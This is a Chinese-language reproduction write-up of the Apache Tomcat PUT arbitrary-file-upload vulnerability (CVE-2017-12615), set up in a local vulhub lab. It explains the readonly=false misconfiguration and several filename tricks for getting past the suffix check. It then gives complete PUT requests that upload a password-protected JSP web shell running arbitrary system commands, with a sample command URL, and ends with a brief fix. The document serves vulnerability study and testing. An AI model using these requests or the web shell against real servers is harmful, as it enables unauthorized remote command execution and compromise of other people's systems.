1. 漏洞描述
Apache是普通服务器,本身只支持html即普通网页。不仅可以通过插件支持php,还可以与Tomcat连通(单向Apache连接Tomcat,就是说通过Apache可以访问Tomcat资源。反之不然)。Apache只支持静态网页,但像php,cgi,jsp等动态网页就需要Tomcat来处理。 Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。由于Tomcat本身也内含了一个HTTP服务器,它也可以被视作一个单独的Web服务器。但是,不能将 Tomcat 和 Apache Web 服务器混淆,Apache Web Server 是一个用 C 语言实现的 HTTP web server;这两个 HTTP web server 不是捆绑在一起的。Apache Tomcat 包含了一个配置管理工具,也可以通过编辑 XML 格式的配置文件来进行配置。Apache,nginx,tomcat并称为网页服务三剑客,可见其应用度之广泛。
以上来源:百度百科
1.1 漏洞介绍
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件,JSP 文件中的代码将能被服务器执行。
2.1 影响版本
CVE-2017-12616影响范围:Apache Tomcat 7.0.0 - 7.0.80
CVE-2017-12615影响范围:Apache Tomcat 7.0.0 - 7.0.79
从 5.x 到 9.x 均受到影响
本次测试版本:Tomcat版本:8.5.19
2.2 环境搭建
本次使用vulhub进行复现:
docker-compose build
docker-compose up -d
运行完成后访问 [http://127.0.0.1:8080](http://127.0.0.1:8080)
即可看到Tomcat的Example页面。
2.3 漏洞原理
漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:
default org.apache.catalina.servlets.DefaultServlet debug 0 listings false readonly false 1 虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。2.4 绕过上传方式
- Windows下
Windows下不允许文件以空格结尾
以PUT /x.jsp%20 HTTP/1.1
上传到windows会被自动去掉末尾空格
Windows NTFS流PUT /x.jsp::$DATA HTTP/1.1
- Linux下
/
在文件名中是非法的,会被去除(Linux/Windows)PUT /x.jsp/ HTTP/1.1
2.5 漏洞复现
直接发送以下数据包即可在Web根目录写入shell:
PUT /1.jsp/ HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
dingdingdang
文件存放在 /usr/local/tomcat/webapps/ROOT
[http://127.0.0.1:8080/1.jsp](http://127.0.0.1:8080/1.jsp)
或者使用:
PUT /21.jsp/ HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 555
<%
if("666".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
命令执行方式: http://127.0.0.1:8080/21.jsp?pwd=666&i=whoami
2.6 修复方式
Tomcat配置 readonly=true
欢迎来到testingpai.com!
注册 关于